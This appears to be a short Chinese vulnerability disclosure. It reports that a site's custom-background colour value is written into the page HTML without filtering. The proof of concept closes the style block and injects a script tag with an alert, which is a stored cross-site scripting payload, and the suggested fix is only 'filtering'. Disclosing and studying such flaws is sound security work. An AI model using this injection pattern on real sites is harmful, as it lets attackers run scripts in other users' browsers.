作者：呆子不开口

详细说明：

自定义背景那里的颜色值会被写入html，未做过滤

漏洞证明：

<style type="text/css">

html, body {background: #eeeded;}</style><script>alert(1);</script><style type="text/css">lvwei {lvwei:lvwei;}

a {color: #78be4e;}www.2cto.com

.navinfo {color: #78be4e;}

.navlnk {color: #78be4e;}

.searchinput {color: #78be4e;}

input::-webkit-input-placeholder {color: #78be4e;}

input:-moz-placeholder {color: #78be4e);}

.postphoto, .posttext, .postvideo, .postmusic{border-top: 2px solid #78be4e;}

</style>

修复方案：

过滤